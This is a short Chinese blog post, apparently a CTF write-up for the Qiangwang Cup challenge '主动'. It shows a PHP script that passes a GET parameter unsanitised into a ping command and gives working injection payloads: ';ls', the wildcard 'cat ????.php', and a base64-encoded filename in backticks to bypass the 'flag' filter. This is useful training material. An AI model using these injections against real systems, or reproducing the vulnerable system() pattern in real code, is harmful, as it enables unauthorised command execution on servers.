强网杯-主动

原创

Crescent_16 于 2020-08-31 11:38:18 发布 101 收藏

分类专栏： 笔记

本文链接：https://blog.csdn.net/Lnsomniaflight/article/details/108318024

打开环境

```php
<?php
highlight_file("index.php");

if(preg_match("/flag/i",  $_GET["ip"]))
{
        die("no  flag");
}

system("ping  -c  3  $_GET[ip]");

?>
```


看到ping -c 3，属于命令注入
尝试传递ip=127.0.0.1;ls
得到

```php
<?php
highlight_file("index.php");

if(preg_match("/flag/i",  $_GET["ip"]))
{
        die("no  flag");
}

system("ping  -c  3  $_GET[ip]");

?>
flag.php index.php
```


显然if里面的内容过滤掉了flag，而我们需要读取flag.php内的内容

使用通配符

```
[root@ecs-kc1-small-1-linux-20200505203308 ctf]# ls
flag.php
[root@ecs-kc1-small-1-linux-20200505203308 ctf]# cat ????.php
aaaaaa
[root@ecs-kc1-small-1-linux-20200505203308 ctf]# echo ????.php
flag.php
[root@ecs-kc1-small-1-linux-20200505203308 ctf]#
```

Base64编码绕过

?id=1;cat `echo 'Li9mbGFnLnBocAo=' | base64 -d`：

用cat读取flag

f12查看